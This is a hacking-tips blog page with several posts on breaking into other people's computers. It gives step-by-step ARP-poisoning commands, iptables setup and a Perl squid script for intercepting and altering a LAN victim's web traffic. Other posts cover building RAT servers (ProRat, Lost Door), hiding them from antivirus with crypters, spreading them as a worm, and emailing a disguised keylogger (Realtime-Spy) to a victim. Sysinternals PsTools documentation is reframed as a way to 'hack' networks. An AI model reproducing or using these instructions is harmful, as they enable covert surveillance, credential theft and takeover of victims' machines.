hack into remote computer: PC Tips by Anu

Showing posts with label hack into remote computer. Show all posts

Monday, May 16, 2011

How to hack PC while chatting?

Monday, May 16, 2011

Anu

Wednesday, March 30, 2011

Scanning and attacking open ports

Wednesday, March 30, 2011

Anu

In this tutorial you Will Cover the Following Topics in details :

~ Definition of scanning
~ Types and objectives of Scanning
~ Understanding Scanning methodology
~ Checking live systems and open ports
~ Understanding scanning techniques
~ Different tools present to perform Scanning
~ Understanding banner grabbing and OS fingerprinting
~ Drawing network diagrams of vulnerable hosts
~ Preparing proxies
~ Understanding anonymizers
~ Scanning countermeasures

What Is Scanning ?? And Why We Focus On that ?

Scannings from the name means that we will scan something to find some details etc etc… Scanning basically refers to the gathering of following four informations…

We Scan systems for four basic purposes :-

To find specific IP address
Operating system
System Architecture
Services Running on system

The various types of scanning are as follows:

~Port Scanning
~Network Scanning
~Vulnerability Scanning

I want to Define These Terms here Only as they are of great use in further tutorial…

PORTSCANNING : There are 64k ports in a computer out of which 1k are fixedfor system or OS services. In Port scanning we scan for the open Portswhich can be used to attack the victim computer.
In Port scanning a series of messagessent to break into a computer to learn about the computer’s networkservices. Through this we will know that which port we will use toattack the victim..

Network Scanning : Network scanning is basically a procedure of finding the active hosts on the Network.
i.e We tries to find that system is standalone or multiuser…

This is done either for the purpose of attacking them or for network security assessment i.e how secured the network Is ??

VulnerabilityScanning : As from the name , In this type of scanning We scan thesystems for finding the vulnerability i.e the weakness in OS/database …Once we find the vulnerability or loop hole we can utilize it toBest..and attack the victim through that …

OBJECTIVES OF SCANNING
These are Primary objectives of scanning i.e why do we do scanning :

~ To detect the live systems running on the network.
~ To discover which ports are active/running.
~ To discover the operating system running on the target system (fingerprinting).
~ To discover the services running on the target system.
~ To discover the IP address of the target system.

We will prefer TOOLS for this because they will reduce our Hectic Work… The first Tool that we Use is the NMAP :

DOWNLOAD : http://rapidshare.com/files/306481014/nmap-5.00-setup.rar

Features of NMAP :

~ Nmap is used to carry out port scanning, OS detection, version detection, ping sweep, and many other techniques.
~ It scans a large number of machines at one time.
~ It is supported by many operating systems.
~ It can carry out all types of port scanning techniques.

SECOND TOOL IS NET TOOLS 5.0.70 :

Itz is a collection of various Networking Tools … must for beginners…

DOWNLOAD: http://rapidshare.com/files/306484780/NetTools5.0.70.zip

~ Net Tools Suite Pack is a collection of scanning tools.
~ This toolset contains tons of port scanners, flooders, web rippers, and mass e-mailers.

Note: Some of these tools may not Work but some are too good.

If you have any problem in Using these tools then you can ask me ..

I will help you use these tools…

Thanks...

Tuesday, March 22, 2011

How to hack the computer in your LAN?

Tuesday, March 22, 2011

Anu

This is what we want to do:

Make the target send all http packet to us instead of the gateway
Forward them to the real gateway
Modify the replay, with the pictures upside-down
Forward the replay to the target

This is how we’re going to do it:

Poison the ARP table of the target
Set up our pc as a gateway router
Send all http requests through a squid proxy
Turn images upside-down with a squid script

Ok, sound great, lets get started!

1. Poison the ARP table of the target
We want the target to send all packets to us instead of the real gateway. To do this we need to know a little about ip addresses and mac addresses. When we wan to send a packet to 10.0.0.1, there is sent out an ARP request on the local lan, saying “Which computer is at 10.0.0.1?”, then 10.0.0.1 answers with an ARP repay “I am at 10.0.0.1, with mac address 11:22:33:44:55:66″.
Then we send the packet to 11:22:33:44:55:66. ARP replays are cached in a local ARP table, so the next time we want to send to 10.0.0.1, we don’t need to ask who’s got it. We are going to send a fake ARP replay to the target (10.0.0.88), saying we are at 10.0.0.1. Usually ARP replays are accepted even though no request was sent, so this is actually really easy.
How do I do this?
We can use arpoison to construct a fake packet and send it, but i prefer to use another a bit mor powerful script, called hunt. You can download the hunt source code here, and compile like this:

tar zxvf hunt-1.5.tgz
cd hunt-1.5
make

Fire up hunt:

sudo ./hunt

In the menu system go to

a) daemons rst/arp/sniff/mac
b) arp spoof + arp relayer daemon
c) insert single/range arp spoof
d) start/stop relayer daemon (press s)

Type in the ip of the real gateway, your mac address (find this by running ifconfig), and the targets ip. Now we have poisoned the ARP table of the target. You can confirm the poisoning by typing “arp -a” on the target, and see that the gateway ip has your mac address.

2. Set up our pc as a gateway router
This is easy, just do this commands:

sudo iptables -F
sudo iptables -F -t nat
sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
echo 1 > /proc/sys/net/ipv4/ip_forward

Where eth0 is your network interface connected to the lan. The changes are reset the next time the network is reloaded.

3. Send all http requests through a squid proxy
Install squid and reset it’s config:

sudo apt-get squid
sudo mv /etc/squid/squid.conf /etc/squid/squid.conf.default

Edit /etc/squid/squid.conf with your favorite editor like this:

http_port 127.0.0.1:8080
http_port 10.0.0.2:8080
visible_hostname gateway.my.flat
cache_mgr proxy@foo.com
httpd_accel_host virtual
httpd_accel_port 80
httpd_accel_with_proxy on
httpd_accel_uses_host_header on
acl all src 0.0.0.0/0.0.0.0
http_access allow all
redirect_program /var/redirect

4. Turn images upside-down with a squid script
We use the redirect program defined in the squid config to flip our images, edit /var/redirect to look like this:

#!/usr/bin/perl $|=1; $count = 0; $pid = $$; while (<>) { chomp $_; if ($_ =~ /(.*\.jpg)/i) { $url = $1; system(”/usr/bin/wget”, “-q”, “-O”,”/var/www/$pid-$count.jpg”, “$url”); system(”/usr/bin/mogrify”, “-flip”,”/var/www/$pid-$count.jpg”); system(”/bin/chmod”, “777″, “/var/www/$pid-$count.jpg”); print “http://127.0.0.1/$pid-$count.jpg\n”; } elsif ($_ =~ /(.*\.gif)/i) { $url = $1; system(”/usr/bin/wget”, “-q”, “-O”,”/var/www/$pid-$count.gif”, “$url”); system(”/usr/bin/mogrify”, “-flip”,”/var/www/$pid-$count.gif”); system(”/bin/chmod”, “777″, “/var/www/$pid-$count.gif”); print “http://127.0.0.1/$pid-$count.gif\n”;
} else { print “$_\n”;; } $count++; }

As you can see from the script, we need to serve the flipped images from a local webserver. Therefore, install apache:

sudo apt-get install apache2
sudo chmod -R 777 /var/www

At last, reload squid with the new configuration:

sudo /etc/init.d/squid restart

You can test the squid by configuring your firefox to use localhost:8080 as a proxy server.

YOU HAVE NOW HACKED THE TARGET COMPUTER!

Thanks....

Friday, March 4, 2011

Tools for hacking remote computer...

Friday, March 04, 2011

Anu

In this article on remote computer hacking, I will inform you about
hacking software to hack computer remotely.
This software is called "Prorat" is a RAT (Remote administration Tool) used to hack computer remotely.

RATs :
RATs also called as Remote Administration tools are popularly used softwares to control other computer remotely and considering hacking aspects, hack computer remotely. There are many RATs such as:
Prorat
Turkojan
Yuri RAT and many other.

Working of RATs:

To hack computer remotely using a RAT, you have to create a server and then send this server to victim whose you wanna hack computer remotely. Generally, this server is binded to any file say picture or song, so that whenever victim opens this file on his computer, our server is installed and this server opens port of victim computer and by using this opened port, you are able to hack computer remotely.

It is this RAT server that then sends all system information to PRORAT and we can then hack computer remotely using PRORAT.

Things you can do by hacking computer remotely:

Once you gain access to remote computer, you can hack computer remotely and perform any of following:

# Install a keylogger
# Monitor Chat windows
# Shutdown computer remotely
# Take control of system registry
# Hack locally stored passwords and licence keys
# Download additional malware and servers to gain stronger control
# Control and access all Control Panel options(including add or remover programs)
# Send various Error messages
# Access Printer services
# Erase all disk data by formatting drives
# Open FTP connection and start file transaction

Thus, you are able to hack computer remotely 100%. This software to hack computer remotely is hence very popular.

Disadvantage of remote hacking software RAT:

The main disadvantage of this software - RAT is that the server created to hack computer remotely is recognized by most antiviruses as hacktool and hence, antiviruses send alert messages when installing RAT server.
But, there are many softwares like Binders or Crypters to hide RAT server and prevent antiviruses from sending alerts. Even there are softwares like AVkiller which is used to turn antivirus inactive and then our server (used to hack computer remotely) can be installed on victim computer very easily.

This is all about RATs - softwares to hack computer remotely. In my next article, I will inform about server creation and installation on remote computer. If you have any problem with this article on how to hack computer remotely, please mention it in comments section.

Enjoy N hack computer remotely...

How to hack n control remote computer (RealTime Spy)?

Friday, March 04, 2011

Anu

I get this question asked daily "How to hack a computer remotely" OR "How to install a keylogger in a remote machine".As we know that in order to install a keylogger we must have physical access to victims computer.There are lots of methods to gain physical access such as Netbios hacking ,Trojans, Rats etc.However these methods require alot of skill and its very difficuly for newbies to do it.Alternatively we use a keylogger(Remote installation supported).All we have to do is to make sure that the remote file gets installed into victims computer and your done.Below we will go through the necessary steps required to hack a computer remotely and install a keylogger.I will be using Realtime spy.

Step 1

First of all download Realtime spy.After downloading your copy of Realtime-Spy navigate to where you downloaded (in this case it is on the Windows desktop). Double click the Realtime-Spy installer file to start the install.
NOTE: After install is complete you can delete this file!

Step 2

Upon finishing the installation you will be able to run Realtime-Spy's configuration file immediately. Do this and continue to the next step.

Step 3

You will now see the Realtime-Spy configuration window. Enter in your username and password that you received after purchasing Realtime-Spy. These must be entered EXACTLY as given. They are case sensitive, and take care not to mix up 0's with O's and I's with l's.
After you enter your username and password, choose whether or not you want Realtime-Spy to display a splash warning whenever it is ran, and how often you want it to clear its logs.
After you enter your username/password and select the options you want - press "next" to go to the next configuration panel.

Step 4
When you click "next" Realtime-Spy will verify your settings. If they are correct you will be able to configure your monitoring options, as shown below. Once you have your options set click "create" to create your logging module.

Step 5

Click "create" to create your logging module Or Remote file. You will be prompted for a name to give the file you are creating. In this example we have named it 'test' - you can name it whatever you want. Click Save and you will receive a message similar to the one below.
Remember the location of the file you have just created!

Step 6

Now it is time to send out the file to the remote PC. In this guide we are using Outlook Express on Windows XP.
Click the Create Mail button to open a new mail window.

Step 7

Click ATTACH and navigate to where you saved your Realtime-Spy file you created previously. Click on the file and then click 'Attach' to attach the file to your email.

Step 8

You will now have to enter a recipient for the file you are sending, as well as an email subject and body. Notice the size of the Realtime-Spy file - it should be approximately 100-120kb at all times!
Once you are ready to go click Send to send the email!

Step 9

Once you send out the file you can then login to your Realtime-Spy webspace.
Enter in your username/password at the prompt to continue!

Step 10

You will be presented with your Realtime-Spy webspace. Here you can select and view users that were logged with the file you sent out.
Note: Users will only appear after they have downloaded and executed the file you have sent them.

If you have any problem regarding the installation feel free to comment. ................................................................................

Monday, February 28, 2011

How to control a remote computer with keylogger (Lost Door)?

Monday, February 28, 2011

Anu

Remote Administration tools also known as RAT are windows Trojans or in simple terms programs used by a Hacker to get administrative privileges on the victim’s computer. Using a RAT you can do a lot of cool things such as “Upload, delete or modify data” , “Edit registry”, “Capture victim’s screen shot”, “Take control of victim’s Computer”or “Execute a virus” just with a click of a button.
Throughout this article I will teach you how to use Lost Door, a Windows RAT, to control and monitor a victim’s computer remotely.

Disclaimer: Coder and related sites are not responsible for any abuse done using this software.

Follow the steps below to setup a server for Lost Door.

Download Lost Door from here . (The password to unzip this file is “qq” without double quotes.)
On executing the download file, you will see the following screen. Accept it

After it is open, right click on the window and click on create server

Now enter your IP address and DNS here. Leave the rest of the field as it is.

Now click on the ‘Options’ tab and choose the options as you want. To activate an offline keylogger is a good practice.

Now go to ‘Advanced’ Tab. There will options related to spreading. This will be used in case you have more than 1 victim.

Now just go to the ‘Create’ tab and click on create server. Your server is ready for use now and now send it to the victim.

Sending the server file to your victim

This is the most important thing after you have created your server file. If you want to take control on a single computer than you have to send this server file to the desired victim but if you want to affect more and more people than you have to use some spreading techniques.

If you have physical access to the victim’s computer then take the server file in a pen drive and just double click on your server file once you have injected the pen drive into that computer.
For those who don’t have physical access can use social engineering in order to get the victim execute that file on his computer.

Using Spreading to affect multiple victims

If you have more than one victim, then you have an option of using spreading technique. You might think that by creating multiple server files you can control multiple users. But here is a secret about spreading. When you select the spreading option, the server file will act as a worm which will spread itself across different computers via Email or any other channel. So your burden will be only to get one victim to execute that file on his computer, the remaining job of getting other victims will be done on its own.

Thanks...

Thursday, August 5, 2010

Easy way to HACK remote PC

Thursday, August 05, 2010

Anu

Hello Guys, today i'll describe a easy way to Hack into a Network, without doing more efforts and without any heavily tools.
Here is a tool that will not catched by any AntiVrus n with the help of this tool, you will take full control of any PC.
So, lets check it out...

PsTools is a suite of fantastic and dangerous (in the wrong hands) command line utilities made by Mark Russinovich for Windows. In the right hands, (computer professionals) PsTools can either automatic a computers shutdown, list a computer’s running processes, or kill a process. PsTools is a favorite of network pros and hackers alike. In this book I demonstrate the use of this tools on page:

The Windows NT and Windows 2000 Resource Kits come with a number of command line tools that help you administer your Windows NT/2K systems. Over time, I've grown a collection of similar tools, including some not included in the Resource Kits. What sets these tools apart is that they all allow you to manage remote systems as well as the local one. The first tool in the suite was PsList, a tool that lets you view detailed information about processes, and the suite is continually growing. The "Ps" prefix in PsList relates to the fact that the standard UNIX process listing command-line tool is named "ps", so I've adopted this prefix for all the tools in order to tie them together into a suite of tools named PsTools.
All of the utilities in the PsTools suite work on Windows NT, Windows 2000, Windows XP, and Server 2003 and none of the tools requires any special installation. You don't even need to install any client software on the remote computers at which you target them. Run them by typing their name and any command-line options you want. To show complete usage information, specify the "-?" command-line option.
The tools included in the PsTools suite are:

1) PsExec - execute processes remotely

Utilities like Telnet and remote control programs like Symantec's PC Anywhere let you execute programs on remote systems, but they can be a pain to set up and require that you install client software on the remote systems that you wish to access. PsExec is a light-weight telnet-replacement that lets you execute processes on other systems, complete with full interactivity for console applications, without having to manually install client software. PsExec's most powerful uses include launching interactive command-prompts on remote systems and remote-enabling tools like IpConfig that otherwise do not have the ability to show information about remote systems.

Installation

Copy PsExec onto your executable path. Typing "psexec" displays its usage syntax.

Usage

usage: [\\computer[,computer[,...] | @file][-u user [-p psswd]][-n s][-l][-s|-e][-i [session]][-c [-f|-v]][-d][-w directory][-priority][-a n,n,...] cmd [arguments]

	computer	Direct PsExec to run the application on the computer or computers specified. If you omit the computer name PsExec runs the application on the local system and if you enter a computer name of \\* then PsExec executes the commands on all computers in the current domain.
	@file	PsExec will execute the command on each of the computers listed in the file.
	-u	Specifies optional user name for login to remote computer.
	-p	Specifies optional password for user name. If you omit this you will be prompted to enter a hidden password.
	-s	Run remote process in the System account.
	-e	Loads the specified account's profile.
	-i	Run the program so that it interacts with the desktop of the specified session on the remote system. If no session is specified the process runs in the console session.
	-l	Run process as limited user (strips the Administrators group and allows only privileges assigned to the Users group). On Windows Vista the process runs with Low Integrity.
	-c	Copy the specified program to the remote system for execution. If you omit this option then the application must be in the system's path on the remote system.
	-n	Specifies timeout in seconds connecting to remote computers.
	-f	Force the copy of the specified program if it already exists on the remote system.
	-v	Copy the specified file only if it has a higher version number or is newer on than the one on the remote system.
	-d	Don't wait for application to terminate. Only use this option for non-interactive applications.
	-w	Set the working directory of the process (relative to the remote computer).
	-x	Display the UI on the Winlogon desktop.
	-priority	Specifies -low, -belownormal, -abovenormal, -high or -realtime to run the process at a different priority.
	-a	Separate processors on which the application can run with commas where 1 is the lowest numbered CPU. For example, to run the application on CPU 2 and CPU 4, enter: "-a 2,4"
	arguments	Arguments to pass (note that file paths must be absolute paths on the target system)

You can enclose applications that have spaces in their name with quotation marks e.g. "psexec \\marklap "c:\long name\app.exe". Put arguments directed at the application outside of the parenthesis. Input is only passed to the remote system when you press the enter key, and typing Ctrl-C terminates the remote process.
If you omit a username the remote process runs in the same account from which you execute PsExec, but because the remote process is impersonating it will not have access to network resources on the remote system. When you specify a username the remote process executes in the account specified, and will have access to any network resources the account has access to. Note that the password is transmitted in clear text to the remote system.

Examples

The following command launches an interactive command prompt on \\marklap:

psexec \\marklap cmd

This command executes IpConfig on the remote system with the /all switch, and displays the resulting output locally:

psexec \\marklap ipconfig /all

This command copies the program test.exe to the remote system and executes it interactively:

psexec \\marklap -c test.exe

Specify the full path to a program that is already installed on a remote system if its not on the system's path:

psexec \\marklap c:\bin\test.exe

2) PsFile - shows files opened remotely

The "net file" command shows you a list of the files that other computers have opened on the system upon which you execute the command, however it truncates long path names and doesn't let you see that information for remote systems. PsFile is a command-line utility that shows a list of files on a system that are opened remotely, and it also allows you to close opened files either by name or by a file identifier.

Installation

Copy PsFile onto your executable path and type "psfile".

Usage

The default behavior of PsFile is to list the files on the local system that are open by remote systems. Typing a command followed by "-?" displays information on the syntax for the command.

usage: psfile [\\RemoteComputer [-u Username [-p Password]]] [[Id | path] [-c]]

	-u	Specifies optional user name for login to remote computer.
	-p	Specifies optional password for user name. If you omit this you will be prompted to enter a hidden password.
	Id	Identifier (as assigned by PsFile) of the file for which to display information or to close.
	Path	Full or partial path of files to match for information display or close.
	-c	Closes the files identifed by ID or path.

3) PsGetSid - display the SID of a computer or a user

Have you performed a rollout and only to discover that your network might suffer from the SID duplication problem? In order to know which systems have to be assigned a new SID (using a SID updater like Sysinternals' own NewSID) you have to know what a computer's machine SID is. Up until now there's been no way to tell the machine SID without knowing Regedit tricks and exactly where to look in the Registry. PsGetSid makes reading a computer's SID easy, and works across the network so that you can query SIDs remotely. PsGetSid also lets you see the SIDs of user accounts.

Installation

Copy PsPsGetSid onto your executable path and type "psgetsid".

Usage

psgetsid [\\computer[,computer[,...] | @file [-u username [-p password]]] [account]

If you want to see a computer's SID just pass the computer's name as a command-line argument. If you want to see a user's SID, name the account (e.g. "administrator") on the command-line and an optional computer name.
Specify a user name if the account you are running from doesn't have administrative privileges on the computer you want to query. If you don't specify a password as an option PsGetSid will prompt you for one so that you can type it in without having it echoed to the display.

4) PsInfo - list information about a system

PsInfo is a command-line tool that gathers key information about the local or remote system, including the type of installation, kernel build, registered organization and owner, number of processors and their type, memory size, the install date of the system, and if it's a trial version, the expiration date. PsInfo command-line switches also let you view installed hotfixes and software applications.

Installation

Copy PsInfo onto your executable path and type psinfo.

Usage

By default PsInfo shows information for the local system. Specify a remote computer name to obtain information from the remote system. Since PsInfo relies on remote Registry access to obtain its data, the remote system must be running the Remote Registry service and the account from which you run PsInfo must have access to the HKLM\System portion of the remote Registry.

In order to aid in automated Service Pack updates, PsInfo returns as a value the Service Pack number of system (e.g. 0 for no service pack, 1 for SP 1, etc).

usage:

psinfo [\\computer[,computer[,...] | @file [-u username [-p password]]] [-h] [-s] [-d] [-c [-t delimter]]

5) PsKill - kill processes by name or process ID

Windows NT/2000 does not come with a command-line 'kill' utility. You can get one in the Windows NT or Win2K Resource Kit, but the kit's utility can only terminate processes on the local computer. PsKill is a kill utility that not only does what the Resource Kit's version does, but can also kill processes on remote systems. You don't even have to install a client on the target computer to use PsKill to terminate a remote process.

Installation

Copy PsKill onto your executable path and type pskill with command-line options defined below.

Usage

Running PsKill with a process ID directs it to kill the process of that ID on the local computer. If you specify a process name PsKill will kill all processes that have that name.

pskill [-t] [\\computer [-u username] [-p password]] [process name | process id]

6) PsList - list detailed information about processes

Most UNIX operating systems ship with a command-line tool called "ps" (or something equivalent) that administrators use to view detailed information about process CPU and memory usage. Windows NT/2K comes with no such tool natively, but you can obtain similar tools with the Windows NT Workstation or Server Resource Kits. The tools in the Resource Kits, pstat and pmon, show you different types of information, and will only display data regarding the processes on the system on which you run the tools.
PsList is utility that shows you a combination of the information obtainable individually with pmon and pstat. You can view process CPU and memory information, or thread statistics. What makes PsList more powerful than the Resource Kit tools is that you can view process and thread statistics on a remote computer.

Installation

Copy PsList onto your executable path and type "pslist".

Usage

The default behavior of PsList is to show CPU-oriented information for all the processes that are currently running on the local system. The information listed for each process includes the time the process has executed, the amount of time the process has executed in kernel and user modes, and the amount of physical memory that the OS has assigned the process. Command-line switches allow you to view memory-oriented process information, thread statistics, or all three types of data.

pslist [-?] [-d] [-m] [-x][-t][-s [n] [-r n] [\\computer [-u username] [-p password]] [[-e] name | pid]

7) PsLoggedOn - see who's logged on locally and via resource sharing.

You can determine who is using resources on your local computer with the "net" command ("net session"), however, there is no built-in way to determine who is using the resources of a remote computer. In addition, NT comes with no tools to see who is logged onto a computer, either locally or remotely. PsLoggedOn is an applet that displays both the locally logged on users and users logged on via resources for either the local computer, or a remote one. If you specify a user name instead of a computer, PsLoggedOn searches the computers in the network neighborhood and tells you if the user is currently logged on.
PsLoggedOn's definition of a locally logged on user is one that has their profile loaded into the Registry, so PsLoggedOn determines who is logged on by scanning the keys under the HKEY_USERS key. For each key that has a name that is a user SID (security Identifier), PsLoggedOn looks up the corresponding user name and displays it. To determine who is logged onto a computer via resource shares, PsLoggedOn uses the NetSessionEnum API. Note that PsLoggedOn will show you as logged on via resource share to remote computers that you query because a logon is required for PsLoggedOn to access the Registry of a remote system.

Installation

Copy PsLoggedOn onto your executable path and type "psloggedon".

Usage

psloggedon [-?] [-l] [-x] [\\computername | username]

8) PsLogList - dump event log records

The Resource Kit comes with a utility, elogdump, that lets you dump the contents of an Event Log on the local or a remote computer. PsLogList is a clone of elogdump except that PsLogList lets you login to remote systems in situations your current set of security credentials would not permit access to the Event Log, and PsLogList retrieves message strings from the computer on which the event log you view resides.

Installation

Copy PsLogList onto your executable path and type "psloglist".

Usage

The default behavior of PsLogList is to show the contents of the System Event Log on the local computer, with visually-friendly formatting of Event Log records. Command line options let you view logs on different computers, use a different account to view a log, or to have the output formatted in a string-search friendly way.

psloglist [-?] [\\computer[,computer[,...] | @file [-u username [-p password]]] [-s [-t delimiter]] [-m #|-n #|-h #|-d #|-w][-c][-x][-r][-a mm/dd/yy][-b mm/dd/yy][-f filter] [-i ID[,ID[,...] | -e ID[,ID[,...]]] [-o event source[,event source][,..]]] [-q event source[,event source][,..]]] [-l event log file] [eventlog]

9) PsPasswd - changes account passwords.

Systems administrators that manage local administrative accounts on multiple computers regularly need to change the account password as part of standard security practices. PsPasswd is a tool that lets you change an account password on the local or remote systems, enabling administrators to create batch files that run PsPasswd against the computer's they manage in order to perform a mass change of the administrator password.

Installation

Copy PsPasswd onto your executable path and type pspasswd with command-line options defined below.

Usage

You can use PsPasswd to change the password of a local or domain account on the local or a remote computer.

pspasswd [\\computer[,computer[,...] | @file [-u username [-p password]]] Username [NewPassword]]

10) PsService - view and control services.

PsService is a service viewer and controller for Windows NT/2K. Like the SC utility that's included in the Windows NT and Windows 2000 Resource Kits and Windows XP, PsService displays the status, configuration, and dependencies of a service, and allows you to start, stop, pause, resume and restart them. Unlike the SC utility, PsService enables you to logon to a remote system using a different account, for cases when the account from which you run it doesn't have required permissions on the remote system. PsService includes a unique service-search capability, which identifies active instances of a service on your network. You would use the search feature if you wanted to locate systems running DHCP servers, for instance.
Finally, PsService works on both NT 4 and Windows 2000, whereas the Windows 2000 Resource Kit version of SC requires Windows 2000, and PsService doesn't require you to manually enter a "resume index" in order to obtain a complete listing of service information.

Installation

Copy PsService onto your executable path and type "psservice".

Usage

The default behavior of PsService is to display the configured services (both running and stopped) on the local system. Entering a command on the command-line invokes a particular feature, and some commands accept options. Typing a command followed by "-?" displays information on the syntax for the command.

psservice [\\computer [-u username] [-p password]] [command][options]

11) PsShutdown - shuts down and optionally reboots a computer.

PsShutdown is a similar to the Resource Kit and Windows XP shutdown tools, providing you the same options and ability to shutdown, and optionally reboot, local and remote Windows NT/2K/XP/2003 systems. It also provided additional options that make it more powerful and flexible.

Installation

Copy PsShutdown onto your executable path and type "psshutdown" with command-line options defined below.

Usage

You can use PsShutdown to initiate a shutdown of the local or a remote computer, abort an imminent shutdown, logoff a console user, or lock the desktop.

psshutdown [\\computer[,computer[,...] | @file [-u username [-p password]]] -s|-r|-h|-d|-k|-a|-l|-o [-f] [-c] [-n s] [-t nn|h:m] [-e [u|p]:xx:yy] [-m "message"]

12) PsSuspend - suspend and resume processes.

PsSuspend lets you suspend processes on the local or a remote system, which is desirable in cases where a process is consuming a resource (e.g. network, CPU or disk) that you want to allow different processes to use. Rather than kill the process that's consuming the resource, suspending permits you to let it continue operation at some later point in time.

Installation

Copy PsSuspend onto your executable path and type "pssuspend" with command-line options defined below.

Usage

Running PsSuspend with a process ID directs it to suspend the process of that ID on the local computer. If you specify a process name PsSuspend will suspend all processes that have that name. Specify the -r switch to resume suspended processes.

pssuspend [-r] [\\computer [-u username] [-p password]] [process name | process id]

Requirements

Some of the tools require that the default admin$ share be available and/or that the Remote Registry service be active.

So, download it from HERE. and enjoy ....

Blog Archive

Popular Posts

Monday, May 16, 2011

How to hack PC while chatting?

Wednesday, March 30, 2011

Scanning and attacking open ports

Tuesday, March 22, 2011

How to hack the computer in your LAN?

Friday, March 4, 2011

Tools for hacking remote computer...

How to hack n control remote computer (RealTime Spy)?

Monday, February 28, 2011

How to control a remote computer with keylogger (Lost Door)?

Sending the server file to your victim

Using Spreading to affect multiple victims

Thursday, August 5, 2010

Easy way to HACK remote PC

Installation

Copy PsExec onto your executable path. Typing "psexec" displays its usage syntax.

Usage

Examples

The following command launches an interactive command prompt on \\marklap:

Installation

Copy PsFile onto your executable path and type "psfile".

Usage

Installation

Copy PsPsGetSid onto your executable path and type "psgetsid".

Usage

Installation

Copy PsInfo onto your executable path and type psinfo.

Usage

Installation

Usage

Installation

Usage

Installation

Usage

Installation

Copy PsLogList onto your executable path and type "psloglist".

Usage

Installation

Usage

You can use PsPasswd to change the password of a local or domain account on the local or a remote computer.

Installation

Usage

Installation

Usage

You can use PsShutdown to initiate a shutdown of the local or a remote computer, abort an imminent shutdown, logoff a console user, or lock the desktop.

Installation

Usage

Running PsSuspend with a process ID directs it to suspend the process of that ID on the local computer. If you specify a process name PsSuspend will suspend all processes that have that name. Specify the -r switch to resume suspended processes.

Requirements

Some of the tools require that the default admin$ share be available and/or that the Remote Registry service be active.

Followers

Facebook

Networked Blogs